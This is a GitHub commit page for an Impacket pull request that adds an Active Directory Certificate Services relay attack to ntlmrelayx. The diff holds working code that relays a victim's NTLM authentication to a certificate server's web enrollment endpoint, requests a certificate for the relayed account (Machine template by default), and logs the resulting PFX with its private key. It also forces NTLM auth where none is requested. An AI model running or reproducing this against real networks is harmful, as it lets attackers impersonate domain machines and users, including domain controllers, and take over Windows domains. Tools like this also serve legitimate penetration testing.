Skip to content

Commit 3ff7e6f

Browse files
authored
Merge pull request #1101 from ExAndroidDev/ntlmrelayx-adcs-attack
Implementation of AD CS attack in ntlmrelayx.py
2 parents ff813e4 + 3fe2d73 commit 3ff7e6f

File tree

7 files changed

+127
-25
lines changed

7 files changed

+127
-25
lines changed

examples/ntlmrelayx.py

+7
Original file line numberDiff line numberDiff line change
@@ -164,6 +164,8 @@ def start_servers(options, threads):
164164
c.setInterfaceIp(options.interface_ip)
165165
c.setExploitOptions(options.remove_mic, options.remove_target)
166166
c.setWebDAVOptions(options.serve_image)
167+
c.setIsADCSAttack(options.adcs)
168+
c.setADCSOptions(options.template)
167169

168170
if server is HTTPRelayServer:
169171
c.setListeningPort(options.http_port)
@@ -320,6 +322,11 @@ def stop_servers(threads):
320322
imapoptions.add_argument('-im','--imap-max', action='store',type=int, required=False,default=0, help='Max number of emails to dump '
321323
'(0 = unlimited, default: no limit)')
322324

325+
# AD CS options
326+
adcsoptions = parser.add_argument_group("AD CS attack options")
327+
adcsoptions.add_argument('--adcs', action='store_true', required=False, help='Enable AD CS relay attack')
328+
adcsoptions.add_argument('--template', action='store', metavar="TEMPLATE", required=False, default="Machine", help='AD CS template. If you are attacking Domain Controller or other windows server machine, default value should be suitable.')
329+
323330
try:
324331
options = parser.parse_args()
325332
except Exception as e:

impacket/examples/ntlmrelayx/attacks/httpattack.py

+17-23
Original file line numberDiff line numberDiff line change
@@ -13,39 +13,33 @@
1313
# Authors:
1414
# Alberto Solino (@agsolino)
1515
# Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
16-
#
16+
# Ex Android Dev (@ExAndroidDev)
17+
1718
from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
19+
from impacket.examples.ntlmrelayx.attacks.httpattacks.adcsattack import ADCSAttack
1820

1921
PROTOCOL_ATTACK_CLASS = "HTTPAttack"
2022

21-
class HTTPAttack(ProtocolAttack):
23+
24+
class HTTPAttack(ProtocolAttack, ADCSAttack):
2225
"""
2326
This is the default HTTP attack. This attack only dumps the root page, though
2427
you can add any complex attack below. self.client is an instance of urrlib.session
2528
For easy advanced attacks, use the SOCKS option and use curl or a browser to simply
2629
proxy through ntlmrelayx
2730
"""
2831
PLUGIN_NAMES = ["HTTP", "HTTPS"]
29-
def run(self):
30-
#Default action: Dump requested page to file, named username-targetname.html
3132

32-
#You can also request any page on the server via self.client.session,
33-
#for example with:
34-
self.client.request("GET", "/")
35-
r1 = self.client.getresponse()
36-
print(r1.status, r1.reason)
37-
data1 = r1.read()
38-
print(data1)
39-
40-
#Remove protocol from target name
41-
#safeTargetName = self.client.target.replace('http://','').replace('https://','')
42-
43-
#Replace any special chars in the target name
44-
#safeTargetName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', safeTargetName)
45-
46-
#Combine username with filename
47-
#fileName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', self.username.decode('utf-16-le')) + '-' + safeTargetName + '.html'
33+
def run(self):
4834

49-
#Write it to the file
50-
#with open(os.path.join(self.config.lootdir,fileName),'w') as of:
51-
# of.write(self.client.lastresult)
35+
if self.config.isADCSAttack:
36+
ADCSAttack._run(self)
37+
else:
38+
# Default action: Dump requested page to file, named username-targetname.html
39+
# You can also request any page on the server via self.client.session,
40+
# for example with:
41+
self.client.request("GET", "/")
42+
r1 = self.client.getresponse()
43+
print(r1.status, r1.reason)
44+
data1 = r1.read()
45+
print(data1)

impacket/examples/ntlmrelayx/attacks/httpattacks/__init__.py

Whitespace-only changes.
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,88 @@
1+
# Impacket - Collection of Python classes for working with network protocols.
2+
#
3+
# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
4+
#
5+
# This software is provided under a slightly modified version
6+
# of the Apache Software License. See the accompanying LICENSE file
7+
# for more information.
8+
#
9+
# Description:
10+
# AD CS relay attack
11+
#
12+
# Authors:
13+
# Ex Android Dev (@ExAndroidDev)
14+
# Tw1sm (@Tw1sm)
15+
16+
import re
17+
import base64
18+
from OpenSSL import crypto
19+
20+
from impacket import LOG
21+
22+
# cache already attacked clients
23+
ELEVATED = []
24+
25+
26+
class ADCSAttack:
27+
28+
def _run(self):
29+
key = crypto.PKey()
30+
key.generate_key(crypto.TYPE_RSA, 4096)
31+
32+
if self.username in ELEVATED:
33+
LOG.info('Skipping user %s since attack was already performed' % self.username)
34+
return
35+
csr = self.generate_csr(key, self.username)
36+
csr = csr.decode().replace("\n", "").replace("+", "%2b").replace(" ", "+")
37+
LOG.info("CSR generated!")
38+
39+
data = "Mode=newreq&CertRequest=%s&CertAttrib=CertificateTemplate:%s&TargetStoreFlags=0&SaveCert=yes&ThumbPrint=" % (csr, self.config.template)
40+
41+
headers = {
42+
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
43+
"Content-Type": "application/x-www-form-urlencoded",
44+
"Content-Length": len(data)
45+
}
46+
47+
LOG.info("Getting certificate...")
48+
49+
self.client.request("POST", "/certsrv/certfnsh.asp", body=data, headers=headers)
50+
ELEVATED.append(self.username)
51+
response = self.client.getresponse()
52+
53+
if response.status != 200:
54+
LOG.error("Error getting certificate! Make sure you have entered valid certiface template.")
55+
return
56+
57+
content = response.read()
58+
found = re.findall(r'location="certnew.cer\?ReqID=(.*?)&', content.decode())
59+
if len(found) == 0:
60+
LOG.error("Error obtaining certificate!")
61+
return
62+
63+
certificate_id = found[0]
64+
65+
self.client.request("GET", "/certsrv/certnew.cer?ReqID=" + certificate_id)
66+
response = self.client.getresponse()
67+
68+
LOG.info("GOT CERTIFICATE!")
69+
certificate = response.read().decode()
70+
71+
certificate_store = self.generate_pfx(key, certificate)
72+
LOG.info("Base64 certificate of user %s: \n%s" % (self.username, base64.b64encode(certificate_store).decode()))
73+
74+
def generate_csr(self, key, CN):
75+
LOG.info("Generating CSR...")
76+
req = crypto.X509Req()
77+
req.get_subject().CN = CN
78+
req.set_pubkey(key)
79+
req.sign(key, "sha256")
80+
81+
return crypto.dump_certificate_request(crypto.FILETYPE_PEM, req)
82+
83+
def generate_pfx(self, key, certificate):
84+
certificate = crypto.load_certificate(crypto.FILETYPE_PEM, certificate)
85+
p12 = crypto.PKCS12()
86+
p12.set_certificate(certificate)
87+
p12.set_privatekey(key)
88+
return p12.export()

impacket/examples/ntlmrelayx/clients/httprelayclient.py

+4-1
Original file line numberDiff line numberDiff line change
@@ -68,7 +68,10 @@ def sendNegotiate(self,negotiateMessage):
6868
self.authenticationMethod = "Negotiate"
6969
except (KeyError, TypeError):
7070
LOG.error('No authentication requested by the server for url %s' % self.targetHost)
71-
return False
71+
if self.serverConfig.isADCSAttack:
72+
LOG.info('IIS cert server may allow anonymous authentication, sending NTLM auth anyways')
73+
else:
74+
return False
7275

7376
#Negotiate auth
7477
negotiate = base64.b64encode(negotiateMessage).decode("ascii")

impacket/examples/ntlmrelayx/utils/config.py

+10
Original file line numberDiff line numberDiff line change
@@ -94,6 +94,10 @@ def __init__(self):
9494
# WebDAV options
9595
self.serve_image = False
9696

97+
# AD CS attack options
98+
self.isADCSAttack = False
99+
self.template = None
100+
97101
def setSMBChallenge(self, value):
98102
self.SMBServerChallenge = value
99103

@@ -208,3 +212,9 @@ def setExploitOptions(self, remove_mic, remove_target):
208212

209213
def setWebDAVOptions(self, serve_image):
210214
self.serve_image = serve_image
215+
216+
def setADCSOptions(self, template):
217+
self.template = template
218+
219+
def setIsADCSAttack(self, isADCSAttack):
220+
self.isADCSAttack = isADCSAttack

setup.py

+1-1
Original file line numberDiff line numberDiff line change
@@ -65,7 +65,7 @@ def read(fname):
6565
'impacket.krb5', 'impacket.ldap', 'impacket.examples.ntlmrelayx',
6666
'impacket.examples.ntlmrelayx.clients', 'impacket.examples.ntlmrelayx.servers',
6767
'impacket.examples.ntlmrelayx.servers.socksplugins', 'impacket.examples.ntlmrelayx.utils',
68-
'impacket.examples.ntlmrelayx.attacks'],
68+
'impacket.examples.ntlmrelayx.attacks', 'impacket.examples.ntlmrelayx.attacks.httpattacks'],
6969
scripts = glob.glob(os.path.join('examples', '*.py')),
7070
data_files = data_files,
7171
install_requires=['pyasn1>=0.2.3', 'pycryptodomex', 'pyOpenSSL>=0.16.2', 'six', 'ldap3>=2.5,!=2.5.2,!=2.5.0,!=2.6',

0 commit comments

Comments
 (0)